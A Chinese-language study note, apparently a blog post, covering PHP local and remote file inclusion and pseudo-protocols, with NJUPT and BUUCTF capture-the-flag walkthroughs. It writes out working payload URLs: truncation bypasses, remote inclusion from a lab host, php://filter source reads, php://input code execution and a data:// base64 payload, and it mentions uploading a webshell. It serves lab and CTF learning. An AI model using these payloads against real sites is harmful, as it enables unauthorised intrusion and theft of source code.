网络安全学习笔记(文件包含与脚本语言伪协议)

#仅是个人的学习笔记记录,不得转载和供他人学习#

#未经授权和许可 不得去在别人的网站使用!!#

#请自觉遵守网络安全法!!#

脚本语言伪协议

文件包含

本地包含

练习:

首先在自己的本地靶场写一个文件包含的代码漏洞

56c754c32b8142d18c7982485ff45793.png

http://localhost/xx/xx/xx.php?参数=localhost/xx/xx.txt(本地包含)

这里可以看到,里面取的get参数是filename

目录下的文件名称是upload.php

所以在使用文件包含的时候:http://localhost/upload.php?filename=1.txt

923e8d42ce184a2da34db7d4b9f2fe46.png

2f0911a48944467e90b6fbe2312bee72.png

1.txt就在upload.php的同目录下

如果是要读其他文件夹需要带上绝对路径

如http://localhost/upload.php?filename=upload/1.txt

727bbbb743a14680b3e6c9e2a9abebc2.png

73d1f4690ef443b091172466d6a83a64.png

但是一般包含都不会这么简单,可能会有限制,比如

1a408b6b23cf42588eba14f134231c8c.png

这个代码在参数后面会自动拼接一个.html

所以如果还像上面一样输入的话,他实际访问的就会变成1.txt.html 就不行了

fbd42add82a74c0184321052257a0130.png

如果是这种情况,就必须绕过

绕过方法

1.截断

%00

%23

b31e54afa9c148b1ba79f15c112cf6f3.png

2.像绕waf一样制造垃圾数据

在txt后面加大量的. 使其溢出

1e92345241504774a5f0eab40facbfaf.png

3.再传一个1.txt.html

这样他就会直接访问你这个1.txt.html文件了

56eea706197f4a05b61e90c74b600ceb.png

fd6fba2160594bdd96539548d538c15e.png

远程包含

远程包含和本地包含差不多

只是要将参数后面的带上对象的IP

a9fd44c0ce3a4c44a7457a24a24bf768.png

8e0db733ec27461f965a699a15917bff.png

PS:这里我做的时候,访问路径写成filename=192.168.93.132/1.txt

然后找不到

原因是因为虚拟机上的phpstudy端口被设置为90

后续又改成filename=192.168.93.132:90/1.txt

还是没找到,发现原来虚拟机的1.txt放在了C:\phpstudy下。找不到

又改了位置,继续filename=192.168.93.132:90/1.txt

还是没找到,结果是因为192.168.93.132前面要加上http://

所以最终结果是:http://localhost/upload.php?filename=http://192.168.93.132:90/1.txt

这样才能正常读取出来

限制的和本地包含一样的

%23截断

191576bb381d424b92d5ced9664515cf.png

?截断

5d2d5fac181d4672bdac4114ca359df5.png

脚本语言伪协议

读取文件

一般用于读取源码

php://filter/read=convert.base64-encode/resource=xx.php

读取xx.php的源码并将其以base64进行输出

95eb5b1946ad4f24a769156dc4f2060b.png

http://localhost/upload.php?filename=php://filter/read=convert.base64-encode/resource=upload.php

82c8301f3df0404e8976b303e3c8e533.png

c27bc218e68143529ab15672decd518b.png

将post请求当做php代码执行

input

http://localhost/upload.php?filename=php://input

e694e1190a5c499b9ad8a1da6ac5ff55.png

f9ac346f7cd24646bcf7ba79a50ff6e3.png

甚至上传一句话木马

799548641c47483e8ee23286b9da164c.png

访问本地文件

file://绝对路径

3b3c8a1469b94d08be2daa25581a74bf.png

DATA

731c21da43c44ba6bc49ded01f42356b.png

可以将代码用base64编码写 一样能触发

http://localhost/upload.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+%2b

4bbea2d576c9468598c65d4a0f30b87e.png

南邮CTF练习

3990617e5e8f4b1eb1b4da916772daab.png

点击

e20f71ea5cef4ad3a5e64ecee9b572eb.png

看参数,有个file=show.php

使用上面的读取文件方式

263914044faf4b0f92385bcdc15b919d.png

解码!

52312ff4c9f2489fb53b0e736fcea7da.png

flag get!

BUUCTF练习

3add9e72777248afb81cd06f9ecb1d48.png

3d6ee49ba44e40f29e9201ed3be07fdb.png

一样,点击

1148aeca9bb346c2894b1c2ebc38e2ce.png

这题没有像上一题那样告诉我们访问的什么地方的flag.php

但是

一般来说这种没有特定指定的php,基本都是默认的Index.php

试一下,加上再访问

7185eb5becf94188af5dafc7f2ca226b.png

没报错,还是原来的页面,说明他就是用的index.php

那就ok

继续读取文件用base64输出

选择直接读flag.php,毕竟我们要找的就是flag,肯定先看这个

d85505ec8da24d32ab07053003b3b6f6.png

解码

6b700da64cba4a2e9b8639aaf769eec3.png

01eb5807fbac48debf9e637db9a8178a.png

nice!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值